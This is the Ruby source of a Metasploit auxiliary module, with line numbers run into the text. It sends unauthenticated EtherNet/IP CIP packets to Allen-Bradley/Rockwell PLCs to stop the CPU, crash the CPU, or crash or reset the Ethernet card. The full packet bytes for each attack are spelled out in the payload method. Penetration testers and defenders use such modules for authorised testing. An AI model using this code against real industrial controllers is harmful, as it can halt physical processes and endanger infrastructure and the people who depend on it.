Path: blob/master/modules/auxiliary/admin/scada/multi_cip_command.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'English'6class MetasploitModule < Msf::Auxiliary7include Msf::Exploit::Remote::Tcp8include Rex::Socket::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Allen-Bradley/Rockwell Automation EtherNet/IP CIP Commands',15'Description' => %q{16The EtherNet/IP CIP protocol allows a number of unauthenticated commands to a PLC which17implements the protocol. This module implements the CPU STOP command, as well as18the ability to crash the Ethernet card in an affected device.1920This module is based on the original 'ethernetip-multi.rb' Basecamp module21from DigitalBond.22},23'Author' => [24'Ruben Santamarta <ruben[at]reversemode.com>',25'K. Reid Wightman <wightman[at]digitalbond.com>', # original module26'todb' # Metasploit fixups27],28'License' => MSF_LICENSE,29'References' => [30[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]31],32'DisclosureDate' => '2012-01-19',33'Notes' => {34'Stability' => [CRASH_SERVICE_DOWN],35'SideEffects' => [IOC_IN_LOGS],36'Reliability' => []37}38)39)4041register_options(42[43Opt::RPORT(44818),44# Note that OptEnum is case sensitive45OptEnum.new('ATTACK', [46true, 'The attack to use.', 'STOPCPU',47[48'STOPCPU',49'CRASHCPU',50'CRASHETHER',51'RESETETHER'52]53])54]55)56end5758def run59attack = datastore['ATTACK']60print_status "#{rhost}:#{rport} - CIP - Running #{attack} attack."61sid = req_session62if sid63forge_packet(sid, payload(attack))64print_status "#{rhost}:#{rport} - CIP - #{attack} attack complete."65end66end6768def forge_packet(sessionid, payload)69packet = ''70packet += "\x6f\x00" # command: Send request/reply data71packet += [payload.size - 0x10].pack('v') # encap length (2 bytes)72packet += [sessionid].pack('N') # session identifier (4 bytes)73packet += payload # payload part74begin75sock.put(packet)76rescue ::Interrupt77print_error("#{rhost}:#{rport} - CIP - Interrupt during payload")78raise $ERROR_INFO79rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused80print_error("#{rhost}:#{rport} - CIP - Network error during payload")81return nil82end83end8485def req_session86begin87connect88packet = ''89packet += "\x65\x00" # ENCAP_CMD_REGISTERSESSION (2 bytes)90packet += "\x04\x00" # encaph_length (2 bytes)91packet += "\x00\x00\x00\x00" # session identifier (4 bytes)92packet += "\x00\x00\x00\x00" # status code (4 bytes)93packet += "\x00\x00\x00\x00\x00\x00\x00\x00" # context information (8 bytes)94packet += "\x00\x00\x00\x00" # options flags (4 bytes)95packet += "\x01\x00" # proto (2 bytes)96packet += "\x00\x00" # flags (2 bytes)97sock.put(packet)98response = sock.get_once99if response100session_id = begin101response[4..8].unpack('N')[0]102rescue StandardError103nil104end105if session_id106print_status("#{rhost}:#{rport} - CIP - Got session id: 0x" + session_id.to_s(16))107else108print_error("#{rhost}:#{rport} - CIP - Got invalid session id, aborting.")109return nil110end111else112raise ::Rex::ConnectionTimeout113end114rescue ::Interrupt115print_error("#{rhost}:#{rport} - CIP - Interrupt during session negotiation")116raise $ERROR_INFO117rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused => e118print_error("#{rhost}:#{rport} - CIP - Network error during session negotiation: #{e}")119return nil120end121return session_id122end123124def cleanup125disconnect126rescue StandardError127nil128end129130def payload(attack)131case attack132when 'STOPCPU'133"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + # encapsulation -[payload.size-0x10]-134"\x00\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x1a\x00" + # packet1135"\x52\x02\x20\x06\x24\x01\x03\xf0\x0c\x00\x07\x02\x20\x64\x24\x01" + # packet2136"\xDE\xAD\xBE\xEF\xCA\xFE\x01\x00\x01\x00" # packet3137when 'CRASHCPU'138"\x00\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x1a\x00" \139"\x52\x02\x20\x06\x24\x01\x03\xf0\x0c\x00\x0a\x02\x20\x02\x24\x01" \140"\xf4\xf0\x09\x09\x88\x04\x01\x00\x01\x00"141when 'CRASHETHER'142"\x00\x00\x00\x00\x20\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x0c\x00" \143"\x0e\x03\x20\xf5\x24\x01\x10\x43\x24\x01\x10\x43"144when 'RESETETHER'145"\x00\x00\x00\x00\x00\x04\x02\x00\x00\x00\x00\x00\xb2\x00\x08\x00" \146"\x05\x03\x20\x01\x24\x01\x30\x03"147else148print_error("#{rhost}:#{rport} - CIP - Invalid attack option.")149return nil150end151end152end153154155